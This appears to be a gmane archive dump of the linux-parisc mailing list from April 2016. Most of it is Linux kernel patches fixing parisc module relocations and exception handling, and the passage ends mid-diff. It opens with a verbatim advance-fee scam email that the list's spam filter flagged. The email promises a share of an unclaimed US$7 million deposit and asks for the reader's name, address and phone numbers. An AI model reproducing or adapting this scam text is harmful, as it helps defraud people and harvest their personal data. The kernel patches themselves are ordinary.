X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040074)(601004)(2401047)(5005006)(8121501046)(3002001)(10201501046)(6041046)(6043046);SRVR:BLUPR17MB0483;BCL:0;PCL:0;RULEID:;SRVR:BLUPR17MB0483;
X-Microsoft-Exchange-Diagnostics: 1;BLUPR17MB0483;4:JxWiVW7LA5Vq0VrVh3ZQIzNf6hEFVakKl+MN9MMaWT4DUJ4kjPYYKZnep3YbDoUjhKFvEWGAEerCitt9UXQiYTVqMZdagMNTEc1oMzytrk//m0YtIZ1mxb/9bskAofXFRJFdjSSM25DBN6pqsvTkyn7R7HCJXUAEa2chp4zqf3HV6VObzyeXHQvLMYsuMEOnqjrz8feQxt/RH65Xcrzby/Cv4/h4+t+O22nr18H8Kud3k2A0kQSJu7RRXbrrY9GI5LUVQohnWg2dbNaDWWRPqBSPgp37bxpTlT96mqSH6TgxaYXx7WxO6U2pnG4Ls3ft8qv1TqLzBvTHuwHjYbEe6ozHpbROZ5WME0tfQdoxwbs6HnC8++BX/T5KooQw2hhiYB4ZJ9RP3GMgEHyKFFpKVy1kkx6flhi76LKvKSyQPnY=
X-Forefront-PRVS: 0906E83A25
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10009020)(4630300001)(6049001)(6009001)(53256004)(10916005)(19580405001)(19580395003)(250100001)(575854001)(226693001)(9686002)(3846002)(66066001)(77096005)(586003)(50466002)(76576001)(6116002)(229853001)(86362001)(2860700001)(23756003)(81166005)(5004730100002)(4001450100002)(1096002)(2906002)(43066003)(325944007)(42186005)(74316001)(47776003)(54356999)(555904002)(6200100001)(50986999)(74482002)(10646004)(189998001)(33656002)(110136002)(5001810100001)(107886002)(53806999)(5008740100001)(62346011);DIR:OUT;SFP:1501;SCL:5;SRVR:BLUPR17MB0483;H:[41.71.176.61];FPR:;SPF:None;MLV:ovrspm;PTR:InfoNoRecords;LANG:en;
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;BLUPR17MB0483;23:NOdTVUwOnq/avPDLe0ZLTYyTDa22pWM+CaTodeU?=
 =?iso-8859-1?Q?bbaxJRkU7Lrjzr8ZmUkyUZqYD+eSD0VetAQgRI5bRfIfzElRx3yelylCik?=
 =?iso-8859-1?Q?CxiuBHbM4o0j+crEi/4/UEzZ08OYSB9mNfYC72wYDhf/0X6pFDa7MBAzgT?=
 =?iso-8859-1?Q?1d7BKOhH89meei1FbneI9KBgHToKy/OS7E7FXeS1Bbv4qbzYXp/fl00rSw?=
 =?iso-8859-1?Q?9msuburrmKhX4ZLdSbFKGKPs/plCEOpXyKwgCRyRJaS1dRheGiXXlGLXGn?=
 =?iso-8859-1?Q?FIS+u7X3/2o9BfYyawKFZtYeY9VY1sMFp4fW8cp2NplQc2YqlB1b/hnIVG?=
 =?iso-8859-1?Q?uS1FfzhnCvV3yghmHNUiIJdc8V50+OCclgdpijLh8Un/HskwFHcMRi0W95?=
 =?iso-8859-1?Q?ZxxiFjcVjxXfAlPbwhh7kC7v9Gtmxc0Wsd6zZPR3PA1T4/98KFg2pYg/Vo?=
 =?iso-8859-1?Q?3gIo86EMuFkmkOpe8d4LusMzAUVo2UGgQrKN/kBD2+Xogj/VFFIaPgNOBI?=
 =?iso-8859-1?Q?kWudcyvZ9C0ZNPOihB5A3Zm5Pf0aULsCuC9hZmabLt0CEZK8o50g9gnXsQ?=
 =?iso-8859-1?Q?F6KiMMfzUWiyuH1/vOGfWtgka8AF7e0oKjjtwhsNQM3+pzvMYoyoh54voR?=
 =?iso-8859-1?Q?y8Ww 
X-Microsoft-Exchange-Diagnostics: 1;BLUPR17MB0483;5:9R6B/hJbmLIVfzNN4y/uskkdfSTIC0W2VWAEpKqqJnQS6fPlM8ORteZB09Uxp1LwI2J4AhxyRfgVKFoxUgT6eT39vTcZw+LPEDEDrIm6MCCG2ryb2BRNOm7UIC2J7tCF/JUtQkabIvSIhOg2Leja6g==;24:fAFoX1IBN6UAXyTdxLjUEmx/l/ucY6PrUeT9gF6aB39bXgI0aV8+YbKswTi6MUmUXK7W51BiJtRVVifJHvU6HQ==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: adminnfo3.website.tk
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Apr 2016 18:53:29.6933
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BLUPR17MB0483
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 11.8 points;
 *  1.8 SUBJ_ALL_CAPS Subject is all capitals
 *  2.2 DEAR_SOMETHING BODY: Contains 'Dear (something)'
 *  2.8 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [41.71.176.61 listed in zen.spamhaus.org]
 *  2.0 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
 *  1.5 ADVANCE_FEE_4 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.linux.ports.parisc:26599 gmane.spam.detected:5332782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26599>

Dear Sir.

I bring you greetings. My name is Mr.Oliver Seno Lim, I am a staff of Abbey National Plc. London and heading our regional office in West Africa. Our late customer named Engr.Ben W.westland, made a fixed deposit amount of US$7Million.He did not declare any next of kin in any of his paper work, I want you as a foreigner to stand as the beneficiary to transfer this funds out of my bank into your account, after the successful transfer, we shall share in the ratio of 30% for you, 70%for me. Should you be interested please send me your information:

1,Full names.
2,current residential address.
3,Tele/Fax numbers./your work.
 
   
All I need from you is your readiness, trustworthiness and edication. Please email me directly on my private email address: officeosenol@yahoo.com) so we can begin arrangements and I would give you more information on how we would handle this venture and once i hear from you i will give you information of the bank for the transferring funds on your name.

Regards,
Mr.Oliver Seno Lim 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Handle R_PARISC_PCREL32 relocation in kernel modules
Date: Fri, 8 Apr 2016 21:26:16 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20160408192616.GA4225@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460143607 1185 80.91.229.3 (8 Apr 2016 19:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:26:47 +0000 (UTC)
Cc: mpatocka@redhat.com
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:26:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoc3D-0004NU-FJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:26:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754160AbcDHT0i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:26:38 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:61431 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752071AbcDHT0h (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:26:37 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M5a9E-1bhq9m0IAa-00xc2E; Fri, 08 Apr 2016 21:26:22
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ZAvV/l2XbvK4L6pzg+TqRoVo3jTjuFNpyVAWZlyMo6uLO99t0T8
 RJiaHrl1uq+5KP0cW/zUaPthNDOJGDM4ad5N1D0v9s30bqCThQv/97Ep+gku5YK0lowa7Ka
 nq4B+MRdW/zcpQR+vc4h4QtdanLzQT9RfCHX8vFlTte4KXNdAFBWWHAf6lJL3D1AjSWl//t
 4bZBdzbWUT2TNbciU171A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:E9aj1UDfhrA=:vSmCqaZle4DNUV1OqcMg8L
 +NaiyiLeA10Q3PVnVcXDVyYxVAED9x6+elNuUtZmEaIATimJ0cmQRVRNjfJc6nMgzHL04ArEw
 ePYxMs2EYkZgXY75nFoZXQTpoVaIAm6/eGlO4MhSAalG6MygzuC/lV0fO78bZFYqHDju+jm5b
 1tmzcgplytjPaXnKfd62F5rKTnOZgFNGLZqNLm7l7P41+Z0ga2CPgdP9AM+i8fj87vft0EiDV
 Xeb0ZmKgAUuvYZEvv2fDtQ2vAeJRKg5q5Ucs+qyObzO3g0z5lQw6lxyPx1HxFxC1G8/G9dJdb
 4Gzr1wp/CnCd3cMKlvGwkCJzjwnmPx1+AWB7YupYd5Y0b4IEaPSdtIGbPSHy5qQlnD/AdB6d2
 ryLRu+VPqtK0OtK9ibEXhCUWY2JzPB2EkwtS67ofzOTHKqxTLUxz/ejH6YIst/QutJYRPd/YY
 lmjyJGhE12w92CjQjLL7pJStQywhwX8Mb57O+qNG5SmOP9Nx/TsRwmgxJQjWmWjmo6xxVvgwI
 rk7W0q2y/+gChHCuNLyRT3Rv9rYXD2NdgTI3o9jxRZOJrRqW+dcnQI0Qt8IqDbvW6Q33Vl8qC
 uyDTDrmcjTLzcj+HJiPpG81FuXr9kdWjYcTaLMvHLrHW54dgWb5MPkqpahJCX7SSIhvgnQhrm
 plhrH3xQNSsKm00asVx/8V9xYSdF4PmQIWgaTlJdEv6zzDw+bHVHa3WY8ZQ/MLA+39KxlqfWi
 ekjjmVn4ehYV6IKEiaELtkY//VmoTGqvml1O1V+v6opMvTa/uVq6QlyuprE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26600
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26600>

Commit 0de7985 (parisc: Use generic extable search and sort routines)
changed the exception tables to use 32bit relative offsets.

With that change, the kernel needs to handle R_PARISC_PCREL32 relocations
which this patch adds.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index b9d75d9..c54cf39 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -788,6 +788,10 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
+		case R_PARISC_PCREL32:
+			/* 32-bit PC relative address */
+			*loc = val - dot - 8 + addend;
+			break;
 		case R_PARISC_DIR64:
 			/* 64-bit effective address */
 			*loc64 = val + addend;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid function pointers for kernel exception routines
Date: Fri, 8 Apr 2016 21:27:31 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20160408192731.GB4225@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460143688 2732 80.91.229.3 (8 Apr 2016 19:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:28:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:28:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoc4d-0005SQ-2Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:28:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932765AbcDHT1v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:27:51 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50494 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932742AbcDHT1v (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:27:51 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MY86C-1bJX0y1pB2-00Uu0J; Fri, 08 Apr 2016 21:27:36
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:t6YDnOQ21iXlE5ARhnIFl3AahmkfJiSUdDJsIMlKtnX7OVZX7j7
 Zawtb8wh2c29Iv9BA2uaBQfzyv9RgRob5hpPbjWZttSxKrSduIsCg5fBSEOjoUc5bRXaLGb
 q71ZXYxrwK+xlhJaVz2yr1per8nWrm41R8jVW2jv1ywOODJQZmBgtIPXZnSV5r3Ls0i80K/
 pu1BpxeT8o013U1p0/8Eg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:g+4Na30yPho=:Y8mzdzrWbTaK8EoOatzRFy
 Fd/0pIJKeS4Fd/wDox6dl0yNSkrjYyHmo1OkcRaLXkE/kTxSxuut5X+f2e6ucfxMqso1jYZzc
 fiA9UFJU/rbEp55qKMT8kTVxeWeXvtH2o4YTeOrop0ysLBPe0oYYmXrfZjZkrN7kVj/d3aSFU
 g9FY8L2ARBNiakCZsROH8kpvTU6zUj/iTAZ/NGpTWpXhsOgZrI6qgJDaMW40rY8aRENFcE4Wa
 e+GPPwypwlxoQE4uDZlyhKQCGIAlXy8YNObwjoL200YKK1vZ0nbYOvPpJWyjqg1frgxbf69q4
 bRAUUx9jHao1Uj0NJtgB49XbF6wcyRPT3mtfSHNQvTiFm2S53qdu3Yk+NUCUxFH8DJsYIDCgm
 mO+39FzulHezkRQhH8GwYDeGT54CMMMKnExdRymAim1VRZVNuTtjJBmv4CkE4EFLEzWyTfVaN
 JzrP4uGqu4Q/tkwAmF27Km1icCK+yrQWUzrqIlyXUvdt39gnXQn9XQzd1pz5C4Uio6Q9YCHAR
 8nE44Iuse3rrtO4/O3I/XHw8Q7fDUyhcbQssg6usBNbZgwGTfHLrZ8zn8rwjvTVnSLLnxgXeQ
 CTzH7VmfcpZditqoqLHlp3Kx4mNN5NcHVYkmyKo6/xzFaSuIKV3u7feUKifGRqE0af1gPUMKT
 AOpu33xxBA4sDlqScTFBN1T+YRv/lM2860YbMLzVR8ptYpfBQSp9H6wSXwXNutjKoLvxQSBgg
 W96l3UNms7kh1sOQXC921PfIAvz22bKhWchS+a0GFsgY7DKs8etkjHqZQHY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26601>

We want to avoid the kernel module loader to create function pointers
for the kernel fixup routines of get_user() and put_user(). Changing
the external reference from function type to int type fixes this.

This unbreaks exception handling for get_user() and put_user() when
called from a kernel module.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 568b2c6..3cad8aa 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -47,11 +47,11 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
-/* Global fixups */
-extern void fixup_get_user_skip_1(void);
-extern void fixup_get_user_skip_2(void);
-extern void fixup_put_user_skip_1(void);
-extern void fixup_put_user_skip_2(void);
+/* Global fixups - defined as int to avoid creation of function pointers */
+extern int fixup_get_user_skip_1;
+extern int fixup_get_user_skip_2;
+extern int fixup_put_user_skip_1;
+extern int fixup_put_user_skip_2;
 EXPORT_SYMBOL(fixup_get_user_skip_1);
 EXPORT_SYMBOL(fixup_get_user_skip_2);
 EXPORT_SYMBOL(fixup_put_user_skip_1);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix kernel crash with reversed copy_from_user()
Date: Fri, 8 Apr 2016 21:28:49 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20160408192849.GC4225@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460143747 3711 80.91.229.3 (8 Apr 2016 19:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:29:07 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:29:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoc5U-0005t2-OR
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:29:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758715AbcDHT3A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:29:00 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62417 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755085AbcDHT27 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:28:59 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MMGWH-1asD7J0swv-007zG2; Fri, 08 Apr 2016 21:28:52
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:KMkcnmU6kmAA7HiLENjCS9FtE9ubhuXYKUyuZlBZwULyIJcjdSr
 DeaHw3iWAAVi5CitE99vdBOrutYBSepvz+cwv/ymvQUYwN4IiTnIglcdbD4hhktmpFVOawI
 3HmnvZs0TAd9iW/WBbwnyO6FCn714qkUhJ6fxzagvyWL/iPkgeUv75cCatrpE58ChrxDxji
 fjsNj6QBjmjLGBXw4QfQw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vH11H1zPRD0=:3hMfulz/2Pf3evFQkriXP5
 zyQFwkOl5TLlpxNvRukRvQeoli5mhrVFD77p5nbmNIdheath1PRjLSiRbiaThSQpXrTgjSRsP
 ff8uP1CeJchorumQDT81ISyhvrvHaN7pdW/Kqd/+inJTrJ8dGj8XNPJJcaMtLycbMTL4PPBPq
 q0f+va24Td0UwNTP2ZG5/VmaNH0JgEA5UtORSf+XbJbLqh4gdraJHMYkN3eZOGTJWKFNAcVf0
 eFSr1GIT3Vt0o6FejK43oOTAQsn8KSvYRbYunb+gGvbcHNO3w58L3A/pbDK8mBdUNug36N67Y
 kxUAlJBnmQHTLaP8C3CScoRBUNa41FX9yh1woG4Ftinc1y4uuXRmGXbFNqkDdEikF0a9MQ4/A
 +/4ornfLlwAcWml+OjSgCOQywohVaB1rRaYWQKqSyaBtH+nJ2AXDj09NU2ohaqk4ys7rOtFvV
 dlGIMUIxGkAJ7qGMp0K/+NYG50Ns2dAEaf/mOJDf11dddWXsRnIR8mkcJ7GTUk0zwhAoPxcjw
 ZCuN83WjDfzqNkkcOSKuQMLlsqDfs6JZTbHqb/HdsmJmD7lp8McMsBD7fq3DgVJ5mTwCCSKq5
 kk87ln7RMEomJQS5PwjvxG9cCJ6up1L5kqgnyVKDpPFwH3k7o31fQ9HyDjMWV0ieMpIhPlho5
 mIJfFhQmzOe+fEFbadTCFQy168yO8UE1VBlVGMNXJ8RVqHcw/mE6CzoXH1sKoNUhaMxCySDYf
 E1tYUWkjQgOjBMLmWWfpSkpA+5+LsXUuFvMYzFUf1tGwHgP4LC6tgE4tBkk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26602
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26602>

The kernel module testcase (lib/test_user_copy.c) exhibited a kernel
crash on parisc if the parameters for copy_from_user were reversed
("illegal reversed copy_to_user" testcase).

Fix this potential crash by checking the fault handler if the faulting
address is in the exception table.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org
Cc: Kees Cook <keescook@chromium.org>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 16e0735..97d6b20 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -795,6 +795,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	    if (fault_space == 0 && !faulthandler_disabled())
 	    {
+		/* Clean up and return if in exception table. */
+		if (fixup_exception(regs))
+			return;
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
 	    }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Unbreak handling exceptions from kernel modules
Date: Fri, 8 Apr 2016 21:30:05 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20160408193005.GD4225@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460143824 5016 80.91.229.3 (8 Apr 2016 19:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:30:24 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:30:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoc6p-0006hm-FF
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:30:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932183AbcDHTaW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:30:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:59323 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932099AbcDHTaW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:30:22 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MSv6D-1bGUEO33h7-00RsuJ; Fri, 08 Apr 2016 21:30:09
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:vc6Z4341GKByEmZWHaO1JKDyrf0RS2/Lo8IEqZvCfKCJo+4gII0
 uf266fXNO0UDrC9kh8SYLG3PxBNPxmqIXfr/TPLDEv3pK5LC6X4pFTdQ1IMaq932IaL1HWh
 yr/fDa1ye7rufjN16r+vRghOZGyzwA9Ym/v28FBCasvvDdjx41uW/YneMiQaoouCEZuzOtj
 7LbZPFfy0z0YETPkAJ+mg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yxzW0s0xG4A=:u32WGNLB3TVQUNJwTKbVxT
 ObDxZhkFNzW2w19v2kFn6kQZ0YHW2MCkTis85OJpcfFvfjeXw4V3kbIai47/m9Y8wmOManbBl
 wSGeVtqwTDVhFbzS+4h07s8X5d5Fhzlol3Eog2BZanBB1CViRQMIvoFbpdbfr8j/AFUakANCx
 q/CwqtPAQ27ARbRhuLRF4hW4ENkluaInKwAUN02FVNnWViIH/76zVIphR17vGUd0zlOKATXlg
 kmn4ZSpzKFyIN3DhSWFLJuG+Zm7xUpYLWSw9ybhPubQk15C+JjDlc8+moE609W2Eatto7PIgt
 c9zL/G3g2exlYFIQrYkrYRgunaItt+q7jWkCHIKP1daGlk2t8UNdx5psYajnoA1tKbhcE+uNe
 7YBYYD77gg7RJR3yX2EDicuWc39cYCVEgm9Vk+ZlmvxREsEHOAZIWTNRt4cJW8IrCd7CmWh1l
 znJXMmHef7ZudldVoGQtCtyZ00ljPoj2sWXjguGgRYgBXbi9B6JCEDRVLk3IC80gTHmO4VenG
 9VKbPHMDLB9ptcPS1pfkdFSLmk+4WpMfCYm1SqNj8ugzJ5Bdji/Tfv07TPJDNldDDH/b8PYea
 frEpQTs+ZXLDGfgK8cpdnEEzgRGZRAlwjXkBIggtJx+SsVUmVlTMN552hK66bkyOFHOr4PKnz
 ffdU3ex2PwwET5Yf3p2eEFtE8wWrYnu9n3dfq/67J3vtJqmk/VAFJklgKVp5HTbkAzZ9z5Wiv
 Mqnfr036jzt5ICKu6GzOhCg7CxTbZPJo97LBABlSDtrNwCYvBqa3HttF2Gc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26603>

Handling exceptions from modules never worked on parisc.
It was just masked by the fact that exceptions from modules
don't happen during normal use.

When a module triggers an exception in get_user() we need to load the
main kernel dp value before accessing the exception_data structure, and
afterwards restore the original dp value of the module on exit.

Noticed-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index d4dd6e5..6f893d2 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -77,6 +77,7 @@ struct exception_table_entry {
  */
 struct exception_data {
 	unsigned long fault_ip;
+	unsigned long fault_gp;
 	unsigned long fault_space;
 	unsigned long fault_addr;
 };
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index d2f6257..78d30d2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -299,6 +299,7 @@ int main(void)
 #endif
 	BLANK();
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
+	DEFINE(EXCDATA_GP, offsetof(struct exception_data, fault_gp));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
 	BLANK();
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
index 536ef66..1052b74 100644
--- a/arch/parisc/lib/fixup.S
